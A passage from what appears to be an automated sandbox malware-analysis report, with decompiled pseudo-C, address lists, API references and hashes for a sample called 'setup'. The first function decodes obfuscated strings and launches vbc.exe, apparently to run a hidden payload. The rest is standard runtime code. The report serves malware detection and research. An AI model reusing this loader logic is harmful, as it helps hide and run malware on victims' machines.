						_v132 =  *0x40fb64;
						_v132 =  *0x40fb60;
					}
					_v132 =  *0x40fb5c;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v132 =  *0x40fb58;
						_v132 =  *0x40fb54;
					}
					_v132 =  *0x40fb50;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v132 =  *0x40fb4c;
						_v132 =  *0x40fb48;
					}
					_v132 =  *0x40fb44;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v132 =  *0x40fb40;
						_v132 =  *0x40fb3c;
					}
					_v116 =  *0x40fb38;
					_v116 =  *0x40fb34;
					_v116 =  *0x40fb30;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v116 =  *0x40fb2c;
						_v116 =  *0x40fb28;
					}
					_v116 =  *0x40fb24;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v116 =  *0x40fb20;
						_v116 =  *0x40fb1c;
					}
					_v116 =  *0x40fb18;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v116 =  *0x40fb14;
						_v116 =  *0x40fb10;
					}
					_v116 =  *0x40fb0c;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v116 =  *0x40fb08;
						_v116 =  *0x40fb04;
					}
					_v116 =  *0x40fb00;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v116 =  *0x40fafc;
						_v116 =  *0x40faf8;
					}
					_t532 = E004018A0(_t531,  &E00413008, 0x77e); // executed
					_v148 = _t532;
					_v144 = _t541;
					_v128 = E004029C0(E00401800("3P5g9kexpmchyrsLbtzTcMvp5oNeJyJbAgEN2eM5V3ihBf3rhvFTBlfOymKBnnZtlIgVtpvVkUBC5tCpmHJODrmFpR",  &E00413008, 0x77e, 0x5b));
					E00401000(_t534, "yWmO5sxowPBCFIHcPYbllSdsr97ougCwhJExnf9fSELJwg650Zx8378QWENuM0ATvrH9eTJf9iDRGkB7jQydzlXKts", 0x413788, 0x22400);
					_t536 = E00403140("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe"); // executed
					_t537 =  *((intOrPtr*)(_v128 +  &E00413008))(_t536, 0, 0x413788, 0x5b); // executed
					return _t537;
				}
				return _t531;
			}

0x00403180
0x00403189
0x00403195
0x0040319e
0x004031a7
0x004031ad
0x004031b3
0x004031b8
0x004031c0
0x004031c9
0x004031c9
0x004031d2
0x004031d8
0x004031de
0x004031e3
0x004031eb
0x004031f4
0x004031f4
0x004031fd
0x00403203
0x00403209
0x0040320e
0x00403216
0x0040321f
0x0040321f
0x00403228
0x0040322e
0x00403234
0x00403239
0x00403241
0x0040324a
0x0040324a
0x00403253
0x00403259
0x0040325f
0x00403264
0x0040326c
0x00403275
0x00403275
0x0040327e
0x00403287
0x00403290
0x00403296
0x0040329c
0x004032a1
0x004032a9
0x004032b2
0x004032b2
0x004032bb
0x004032c1
0x004032c7
0x004032cc
0x004032d4
0x004032dd
0x004032dd
0x004032e6
0x004032ec
0x004032f2
0x004032f7
0x004032ff
0x00403308
0x00403308
0x00403311
0x00403317
0x0040331d
0x00403322
0x0040332a
0x00403333
0x00403333
0x0040333c
0x00403342
0x00403348
0x0040334d
0x00403355
0x0040335e
0x0040335e
0x00403367
0x00403370
0x00403379
0x0040337f
0x00403385
0x0040338a
0x00403392
0x0040339b
0x0040339b
0x004033a4
0x004033aa
0x004033b0
0x004033b5
0x004033bd
0x004033c6
0x004033c6
0x004033cf
0x004033d5
0x004033db
0x004033e0
0x004033e8
0x004033f1
0x004033f1
0x004033fa
0x00403400
0x00403406
0x0040340b
0x00403413
0x0040341c
0x0040341c
0x00403425
0x0040342b
0x00403431
0x00403436
0x0040343e
0x00403447
0x00403447
0x00403450
0x00403459
0x00403462
0x00403468
0x0040346e
0x00403473
0x0040347b
0x00403484
0x00403484
0x0040348d
0x00403493
0x00403499
0x0040349e
0x004034a6
0x004034af
0x004034af
0x004034b8
0x004034be
0x004034c4
0x004034c9
0x004034d1
0x004034da
0x004034da
0x004034e3
0x004034e9
0x004034ef
0x004034f4
0x004034fc
0x00403505
0x00403505
0x0040350e
0x00403514
0x0040351a
0x0040351f
0x00403527
0x00403530
0x00403530
0x00403539
0x00403542
0x0040354b
0x00403551
0x00403557
0x0040355c
0x00403564
0x0040356d
0x0040356d
0x00403576
0x0040357c
0x00403582
0x00403587
0x0040358f
0x00403598
0x00403598
0x004035a1
0x004035a7
0x004035ad
0x004035b2
0x004035ba
0x004035c3
0x004035c3
0x004035cc
0x004035d2
0x004035d8
0x004035dd
0x004035e5
0x004035ee
0x004035ee
0x004035f7
0x004035fd
0x00403603
0x00403608
0x00403610
0x00403619
0x00403619
0x00403622
0x0040362b
0x00403634
0x0040363a
0x00403640
0x00403645
0x0040364d
0x00403656
0x00403656
0x0040365f
0x00403665
0x0040366b
0x00403670
0x00403678
0x00403681
0x00403681
0x0040368a
0x00403690
0x00403696
0x0040369b
0x004036a3
0x004036ac
0x004036ac
0x004036b5
0x004036bb
0x004036c1
0x004036c6
0x004036ce
0x004036d7
0x004036d7
0x004036e0
0x004036e6
0x004036ec
0x004036f1
0x004036f9
0x00403702
0x00403702
0x0040370b
0x00403714
0x0040371d
0x00403723
0x00403729
0x0040372e
0x00403736
0x0040373f
0x0040373f
0x00403748
0x0040374e
0x00403754
0x00403759
0x00403761
0x0040376a
0x0040376a
0x00403773
0x00403779
0x0040377f
0x00403784
0x0040378c
0x00403795
0x00403795
0x0040379e
0x004037a4
0x004037aa
0x004037af
0x004037b7
0x004037c0
0x004037c0
0x004037c9
0x004037cf
0x004037d5
0x004037da
0x004037e2
0x004037eb
0x004037eb
0x004037f4
0x004037fd
0x00403806
0x0040380c
0x00403812
0x00403817
0x0040381f
0x00403828
0x00403828
0x00403831
0x00403837
0x0040383d
0x00403842
0x0040384a
0x00403853
0x00403853
0x0040385c
0x00403862
0x00403868
0x0040386d
0x00403875
0x0040387e
0x0040387e
0x00403887
0x0040388d
0x00403893
0x00403898
0x004038a0
0x004038a9
0x004038a9
0x004038b2
0x004038b8
0x004038be
0x004038c3
0x004038cb
0x004038d4
0x004038d4
0x004038d9
0x004038df
0x004038e6
0x004038ed
0x004038ff
0x0040390e
0x004038f9
0x004038fc
0x004038fc
0x0040391a
0x00403920
0x0040392a
0x00403931
0x0040393e
0x00403941
0x0040394e
0x00403957
0x00403960
0x00403966
0x0040396c
0x00403971
0x00403979
0x00403982
0x00403982
0x0040398b
0x00403991
0x00403997
0x0040399c
0x004039a4
0x004039ad
0x004039ad
0x004039b6
0x004039bc
0x004039c2
0x004039c7
0x004039cf
0x004039d8
0x004039d8
0x004039e1
0x004039e7
0x004039ed
0x004039f2
0x004039fa
0x00403a03
0x00403a03
0x00403a0c
0x00403a12
0x00403a18
0x00403a1d
0x00403a25
0x00403a2e
0x00403a2e
0x00403a37
0x00403a40
0x00403a49
0x00403a4f
0x00403a55
0x00403a5a
0x00403a62
0x00403a6b
0x00403a6b
0x00403a74
0x00403a7a
0x00403a80
0x00403a85
0x00403a8d
0x00403a96
0x00403a96
0x00403a9f
0x00403aa5
0x00403aab
0x00403ab0
0x00403ab8
0x00403ac1
0x00403ac1
0x00403aca
0x00403ad0
0x00403ad6
0x00403adb
0x00403ae3
0x00403aec
0x00403aec
0x00403af5
0x00403afb
0x00403b01
0x00403b06
0x00403b0e
0x00403b17
0x00403b17
0x00403b20
0x00403b29
0x00403b32
0x00403b38
0x00403b3e
0x00403b43
0x00403b4b
0x00403b54
0x00403b54
0x00403b5d
0x00403b63
0x00403b69
0x00403b6e
0x00403b76
0x00403b7f
0x00403b7f
0x00403b88
0x00403b8e
0x00403b94
0x00403b99
0x00403ba1
0x00403baa
0x00403baa
0x00403bb3
0x00403bb9
0x00403bbf
0x00403bc4
0x00403bcc
0x00403bd5
0x00403bd5
0x00403bde
0x00403be4
0x00403bea
0x00403bef
0x00403bf7
0x00403c00
0x00403c00
0x00403c09
0x00403c12
0x00403c1b
0x00403c21
0x00403c27
0x00403c2c
0x00403c34
0x00403c3d
0x00403c3d
0x00403c46
0x00403c4c
0x00403c52
0x00403c57
0x00403c5f
0x00403c68
0x00403c68
0x00403c71
0x00403c77
0x00403c7d
0x00403c82
0x00403c8a
0x00403c93
0x00403c93
0x00403c9c
0x00403ca2
0x00403ca8
0x00403cad
0x00403cb5
0x00403cbe
0x00403cbe
0x00403cc7
0x00403ccd
0x00403cd3
0x00403cd8
0x00403ce0
0x00403ce9
0x00403ce9
0x00403cf2
0x00403cfb
0x00403d04
0x00403d0a
0x00403d10
0x00403d15
0x00403d1d
0x00403d26
0x00403d26
0x00403d2f
0x00403d35
0x00403d3b
0x00403d40
0x00403d48
0x00403d51
0x00403d51
0x00403d5a
0x00403d60
0x00403d66
0x00403d6b
0x00403d73
0x00403d7c
0x00403d7c
0x00403d85
0x00403d8b
0x00403d91
0x00403d96
0x00403d9e
0x00403da7
0x00403da7
0x00403db0
0x00403db6
0x00403dbc
0x00403dc1
0x00403dc9
0x00403dd2
0x00403dd2
0x00403ddb
0x00403de4
0x00403ded
0x00403df3
0x00403df9
0x00403dfe
0x00403e06
0x00403e0f
0x00403e0f
0x00403e18
0x00403e1e
0x00403e24
0x00403e29
0x00403e31
0x00403e3a
0x00403e3a
0x00403e43
0x00403e49
0x00403e4f
0x00403e54
0x00403e5c
0x00403e65
0x00403e65
0x00403e6e
0x00403e74
0x00403e7a
0x00403e7f
0x00403e87
0x00403e90
0x00403e90
0x00403e99
0x00403e9f
0x00403ea5
0x00403eaa
0x00403eb2
0x00403ebb
0x00403ebb
0x00403ec4
0x00403ecd
0x00403ed6
0x00403edc
0x00403ee2
0x00403ee7
0x00403eef
0x00403ef8
0x00403ef8
0x00403f01
0x00403f07
0x00403f0d
0x00403f12
0x00403f1a
0x00403f23
0x00403f23
0x00403f2c
0x00403f32
0x00403f38
0x00403f3d
0x00403f45
0x00403f4e
0x00403f4e
0x00403f57
0x00403f5d
0x00403f63
0x00403f68
0x00403f70
0x00403f79
0x00403f79
0x00403f82
0x00403f88
0x00403f8e
0x00403f93
0x00403f9b
0x00403fa4
0x00403fa4
0x00403fad
0x00403fb6
0x00403fbf
0x00403fc5
0x00403fcb
0x00403fd0
0x00403fd8
0x00403fe1
0x00403fe1
0x00403fea
0x00403ff0
0x00403ff6
0x00403ffb
0x00404003
0x0040400c
0x0040400c
0x00404015
0x0040401b
0x00404021
0x00404026
0x0040402e
0x00404037
0x00404037
0x00404040
0x00404046
0x0040404c
0x00404051
0x00404059
0x00404062
0x00404062
0x0040406b
0x00404071
0x00404077
0x0040407c
0x00404084
0x0040408d
0x0040408d
0x0040409a
0x004040a2
0x004040a8
0x004040cc
0x004040e0
0x004040f4
0x00404106
0x00000000
0x00404108
0x0040410e

APIs

FreeConsole.KERNELBASE ref: 00403189
Sleep.KERNELBASE(00000000), ref: 004038D9

Strings

yWmO5sxowPBCFIHcPYbllSdsr97ougCwhJExnf9fSELJwg650Zx8378QWENuM0ATvrH9eTJf9iDRGkB7jQydzlXKts, xrefs: 004040DB
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe, xrefs: 004040EF
3P5g9kexpmchyrsLbtzTcMvp5oNeJyJbAgEN2eM5V3ihBf3rhvFTBlfOymKBnnZtlIgVtpvVkUBC5tCpmHJODrmFpR, xrefs: 004040BA

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: ConsoleFreeSleep
String ID: 3P5g9kexpmchyrsLbtzTcMvp5oNeJyJbAgEN2eM5V3ihBf3rhvFTBlfOymKBnnZtlIgVtpvVkUBC5tCpmHJODrmFpR$C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe$yWmO5sxowPBCFIHcPYbllSdsr97ougCwhJExnf9fSELJwg650Zx8378QWENuM0ATvrH9eTJf9iDRGkB7jQydzlXKts
API String ID: 1084192268-3084653520
Opcode ID: 4c7f61cc73e743a8847492c2891b13f4c1f3d96e10c2e06e914cefe04cdd41d2
Instruction ID: 37e621f20bf8e5af87582fafe250a495c8e9d533eb808483426a56dd5ce3eade
Opcode Fuzzy Hash: 4c7f61cc73e743a8847492c2891b13f4c1f3d96e10c2e06e914cefe04cdd41d2
Instruction Fuzzy Hash: CEA23770A15119DBEB208F95FB982ADBF34FB95345FA241B5C9C0328A9C738157A8F0D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2B5 Relevance: 6.1, APIs: 4, Instructions: 93
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0040D2B5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				long _t21;
				long _t23;
				long _t24;
				void* _t25;
				long _t31;
				signed int _t32;
				signed int _t33;
				signed int _t39;
				signed int _t45;
				long _t49;
				void* _t52;
				void* _t53;

				_push(0xc);
				_push(0x411e40);
				E00406B04(__ebx, __edi, __esi);
				_t39 =  *(_t52 + 8);
				if(_t39 <= 0) {
					L4:
					_t49 = _t39 *  *(_t52 + 0xc);
					 *(_t52 + 8) = _t49;
					__eflags = _t49;
					if(_t49 == 0) {
						_t49 = 1;
						__eflags = 1;
					}
					do {
						_t38 = 0;
						 *(_t52 - 0x1c) = 0;
						__eflags = _t49 - 0xffffffe0;
						if(_t49 > 0xffffffe0) {
							L13:
							__eflags = _t38;
							if(_t38 != 0) {
								L21:
								_t21 = _t38;
								L22:
								return E00406B49(_t21);
							}
							__eflags =  *0x437264; // 0x0
							if(__eflags == 0) {
								__eflags = _t38;
								if(_t38 == 0) {
									_t23 =  *(_t52 + 0x10);
									__eflags = _t23;
									if(_t23 != 0) {
										 *_t23 = 0xc;
									}
								}
								goto L21;
							}
							goto L15;
						}
						__eflags =  *0x4376b4 - 3;
						if( *0x4376b4 != 3) {
							L11:
							__eflags = _t38;
							if(_t38 != 0) {
								goto L21;
							}
							L12:
							_t25 = RtlAllocateHeap( *0x437074, 8, _t49); // executed
							_t38 = _t25;
							goto L13;
						}
						_t49 = _t49 + 0x0000000f & 0xfffffff0;
						 *(_t52 + 0xc) = _t49;
						__eflags =  *(_t52 + 8) -  *0x4376a0; // 0x0
						if(__eflags > 0) {
							goto L11;
						}
						E00408AAA(0, 0, 4);
						 *((intOrPtr*)(_t52 - 4)) = 0;
						_push( *(_t52 + 8));
						 *(_t52 - 0x1c) = E00409ED4();
						 *((intOrPtr*)(_t52 - 4)) = 0xfffffffe;
						E0040D3B1();
						_t38 =  *(_t52 - 0x1c);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L12;
						}
						E004087D0(0, _t38, 0,  *(_t52 + 8));
						_t53 = _t53 + 0xc;
						goto L11;
						L15:
						_t24 = E004070E2(_t49);
						__eflags = _t24;
					} while (_t24 != 0);
					_t31 =  *(_t52 + 0x10);
					__eflags = _t31;
					if(_t31 != 0) {
						 *_t31 = 0xc;
					}
					L3:
					_t21 = 0;
					goto L22;
				}
				_t32 = 0xffffffe0;
				_t33 = _t32 / _t39;
				_t45 = _t32 % _t39;
				asm("sbb eax, eax");
				_t58 = _t33 + 1;
				if(_t33 + 1 != 0) {
					goto L4;
				} else {
					 *((intOrPtr*)(E004084B5(_t58))) = 0xc;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00407CCC(_t45, 0, __esi);
					goto L3;
				}
			}

0x0040d2b5
0x0040d2b7
0x0040d2bc
0x0040d2c1
0x0040d2c8
0x0040d2f8
0x0040d2fc
0x0040d2fe
0x0040d301
0x0040d303
0x0040d307
0x0040d307
0x0040d307
0x0040d308
0x0040d308
0x0040d30a
0x0040d30d
0x0040d310
0x0040d37b
0x0040d37b
0x0040d37d
0x0040d3cb
0x0040d3cb
0x0040d3cd
0x0040d3d2
0x0040d3d2
0x0040d37f
0x0040d385
0x0040d3ba
0x0040d3bc
0x0040d3be
0x0040d3c1
0x0040d3c3
0x0040d3c5
0x0040d3c5
0x0040d3c3
0x00000000
0x0040d3bc
0x00000000
0x0040d385
0x0040d312
0x0040d319
0x0040d366
0x0040d366
0x0040d368
0x00000000
0x00000000
0x0040d36a
0x0040d373
0x0040d379
0x00000000
0x0040d379
0x0040d31e
0x0040d321
0x0040d327
0x0040d32d
0x00000000
0x00000000
0x0040d331
0x0040d337
0x0040d33a
0x0040d343
0x0040d346
0x0040d34d
0x0040d352
0x0040d355
0x0040d357
0x00000000
0x00000000
0x0040d35e
0x0040d363
0x00000000
0x0040d387
0x0040d388
0x0040d38e
0x0040d38e
0x0040d396
0x0040d399
0x0040d39b
0x0040d3a1
0x0040d3a1
0x0040d2f1
0x0040d2f1
0x00000000
0x0040d2f1
0x0040d2cc
0x0040d2cf
0x0040d2cf
0x0040d2d4
0x0040d2d6
0x0040d2d7
0x00000000
0x0040d2d9
0x0040d2de
0x0040d2e4
0x0040d2e5
0x0040d2e6
0x0040d2e7
0x0040d2e8
0x0040d2e9
0x00000000
0x0040d2ee

APIs

__lock.LIBCMT ref: 0040D331
___sbh_alloc_block.LIBCMT ref: 0040D33D
_memset.LIBCMT ref: 0040D35E
RtlAllocateHeap.NTDLL(00000008,?,00411E40,0000000C,00409292,00404B06,?,00000000,00000000,00000000,?,004067B0,00000001,00000214,?,00404B06), ref: 0040D373

Part of subcall function 004084B5: __getptd_noexit.LIBCMT ref: 004084B5

Part of subcall function 00407CCC: __decode_pointer.LIBCMT ref: 00407CD7

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: AllocateHeap___sbh_alloc_block__decode_pointer__getptd_noexit__lock_memset
String ID:
API String ID: 3771094184-0
Opcode ID: 2286d01d1beb75bc6573fa1d693b48f265caa326a1d4edb6478acfe25582f979
Instruction ID: 15d9ba75f587f9071f29ac45069ee779ae583f7c2d726833be225e40ab20feb0
Opcode Fuzzy Hash: 2286d01d1beb75bc6573fa1d693b48f265caa326a1d4edb6478acfe25582f979
Instruction Fuzzy Hash: 4021F2B0D04A00DBDB21AFA9CC8195FBB61AB51360F24963BFC55BB3D1D7388D548B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00404869 Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00404869(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				intOrPtr _v0;
				signed int _v12;
				char _v20;
				void* __ebp;
				void* _t31;
				signed int _t32;
				signed int _t36;
				intOrPtr _t39;
				intOrPtr _t41;
				void* _t47;
				intOrPtr* _t50;
				signed int _t55;
				signed int _t56;
				void* _t59;
				void* _t60;
				intOrPtr* _t62;
				void* _t65;
				void* _t67;

				_t60 = __edi;
				_t59 = __edx;
				_t47 = __ebx;
				_pop(_t64);
				_t65 = _t67;
				while(1) {
					_t31 = E00407009(_t47, _t59, _t60, _v0); // executed
					if(_t31 != 0) {
						return _t31;
					}
					_t32 = E004070E2(_v0);
					__eflags = _t32;
					if(_t32 == 0) {
						__eflags =  *0x436c08 & 0x00000001;
						if(( *0x436c08 & 0x00000001) == 0) {
							 *0x436c08 =  *0x436c08 | 0x00000001;
							__eflags =  *0x436c08;
							E00404A7D(0x436bfc);
							E00406FA3( *0x436c08, 0x40e115);
						}
						_t50 =  &_v20;
						E00404ACA(_t50, 0x436bfc);
						E0040710A( &_v20, 0x411b9c);
						asm("int3");
						_push(_t65);
						_t36 = _v12;
						_push(0x436bfc);
						_t62 = _t50;
						 *((char*)(_t62 + 0xc)) = 0;
						__eflags = _t36;
						if(__eflags != 0) {
							 *_t62 =  *_t36;
							_t29 = _t36 + 4; // 0x404a98
							 *((intOrPtr*)(_t62 + 4)) =  *_t29;
						} else {
							_t39 = E004067FE(_t47, __eflags);
							 *((intOrPtr*)(_t62 + 8)) = _t39;
							 *_t62 =  *((intOrPtr*)(_t39 + 0x6c));
							 *((intOrPtr*)(_t62 + 4)) =  *((intOrPtr*)(_t39 + 0x68));
							__eflags =  *_t62 -  *0x436348;
							if( *_t62 !=  *0x436348) {
								_t56 =  *0x436264; // 0xfffffffe
								__eflags =  *(_t39 + 0x70) & _t56;
								if(__eflags == 0) {
									 *_t62 = E00407B1F(_t47, _t59, _t60, _t62, __eflags);
								}
							}
							__eflags =  *((intOrPtr*)(_t62 + 4)) -  *0x436168; // 0x1f11648
							if(__eflags != 0) {
								_t55 =  *0x436264; // 0xfffffffe
								__eflags =  *( *((intOrPtr*)(_t62 + 8)) + 0x70) & _t55;
								if(__eflags == 0) {
									 *((intOrPtr*)(_t62 + 4)) = E004073B3(_t47, _t59, _t60, _t62, __eflags);
								}
							}
							_t41 =  *((intOrPtr*)(_t62 + 8));
							__eflags =  *(_t41 + 0x70) & 0x00000002;
							if(( *(_t41 + 0x70) & 0x00000002) == 0) {
								 *(_t41 + 0x70) =  *(_t41 + 0x70) | 0x00000002;
								 *((char*)(_t62 + 0xc)) = 1;
							}
						}
						return _t62;
					} else {
						continue;
					}
					break;
				}
			}

0x00404869
0x00404869
0x00404869
0x0040486e
0x00404aea
0x00404afe
0x00404b01
0x00404b09
0x00404b0c
0x00404b0c
0x00404af4
0x00404afa
0x00404afc
0x00404b0d
0x00404b19
0x00404b1b
0x00404b1b
0x00404b24
0x00404b2e
0x00404b33
0x00404b35
0x00404b38
0x00404b46
0x00404b4b
0x00404b4e
0x00404b51
0x00404b54
0x00404b55
0x00404b57
0x00404b5b
0x00404b5d
0x00404bc4
0x00404bc6
0x00404bc9
0x00404b5f
0x00404b5f
0x00404b64
0x00404b6a
0x00404b6f
0x00404b74
0x00404b7a
0x00404b7c
0x00404b82
0x00404b85
0x00404b8c
0x00404b8c
0x00404b85
0x00404b91
0x00404b97
0x00404b9c
0x00404ba2
0x00404ba5
0x00404bac
0x00404bac
0x00404ba5
0x00404baf
0x00404bb2
0x00404bb6
0x00404bb8
0x00404bbc
0x00404bbc
0x00404bb6
0x00404bd0
0x00000000
0x00000000
0x00000000
0x00000000
0x00404afc

APIs

_malloc.LIBCMT ref: 00404B01

Part of subcall function 00407009: __FF_MSGBANNER.LIBCMT ref: 0040702C
Part of subcall function 00407009: __NMSG_WRITE.LIBCMT ref: 00407033
Part of subcall function 00407009: RtlAllocateHeap.NTDLL(00000000,00404AF7,?,?,?,?,00404B06,00403150,?,00403150,00002000), ref: 00407080

std::bad_alloc::bad_alloc.LIBCMT ref: 00404B24

Part of subcall function 00404A7D: std::exception::exception.LIBCMT ref: 00404A89

std::bad_exception::bad_exception.LIBCMT ref: 00404B38
__CxxThrowException@8.LIBCMT ref: 00404B46

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 8c77e5c7111bf90277aff321dfdb77e1b448e99cdc7a3d2202fc8132657b7b4a
Instruction ID: 2b0d66efbb3c7754459080c5a83880108cba9e442a8fb43a297e29ee1d4af01d
Opcode Fuzzy Hash: 8c77e5c7111bf90277aff321dfdb77e1b448e99cdc7a3d2202fc8132657b7b4a
Instruction Fuzzy Hash: EAF090B1A4420A76CF14A666E806E6A37589AC035CB20807BEA11761D2DEBDE941899D

Uniqueness

Uniqueness Score: -1.00%

Function 00403140 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403140(char* _a4) {
				short* _v8;
				short* _v12;
				short* _t7;
				void* _t11;
				void* _t13;
				void* _t15;
				void* _t18;

				_t7 = E00404869(_t11, _t13, _t15, _t18, 0x2000); // executed
				_v12 = _t7;
				_v8 = _v12;
				MultiByteToWideChar(0, 0, _a4, 0xffffffff, _v8, 0x1000);
				return _v8;
			}

0x0040314b
0x00403153
0x00403159
0x0040316f
0x0040317b

APIs

Part of subcall function 00404869: _malloc.LIBCMT ref: 00404B01

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00001000), ref: 0040316F

Strings

pYhvMhvNhvIhvPdhv, xrefs: 0040316F

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_malloc
String ID: pYhvMhvNhvIhvPdhv
API String ID: 2241198742-3404168598
Opcode ID: 67db05ba1c6f1b02e9d7d1d92b14960089c99d9333da3b0c96a3997e0ae47fd5
Instruction ID: f0a9486f054701cf9637790dbc2dec2405dea9b8d1afda03643817c635a3879e
Opcode Fuzzy Hash: 67db05ba1c6f1b02e9d7d1d92b14960089c99d9333da3b0c96a3997e0ae47fd5
Instruction Fuzzy Hash: B3E04FB5A44208BBEB40EF94DD46FAD7774EB44711F2042A4FE086B3C1E5B06E008791

Uniqueness

Uniqueness Score: -1.00%

Function 00405835 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405835(int _a4) {

				E0040580A(_a4);
				ExitProcess(_a4);
			}

0x0040583d
0x00405846

APIs

___crtCorExitProcess.LIBCMT ref: 0040583D

Part of subcall function 0040580A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00405842,00404B06,?,00408A19,000000FF,0000001E,00411D40,0000000C,00408AC5,00404B06,?,?,0040D336,00000004), ref: 00405814
Part of subcall function 0040580A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00405824

ExitProcess.KERNEL32 ref: 00405846

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 66153edb3466ecfc9f3dbd9c3993b2d4bbf41a3574e2ee949e14a8e7fde09283
Instruction ID: 863b2cee0c9542103fbc627c14a1ce81f7daa89f528b21c1179b1b9d26177967
Opcode Fuzzy Hash: 66153edb3466ecfc9f3dbd9c3993b2d4bbf41a3574e2ee949e14a8e7fde09283
Instruction Fuzzy Hash: A3B09B31000148BBCB153F12DC0984A3F55EB417507108035FC0C15071DF75AD959994

Uniqueness

Uniqueness Score: -1.00%

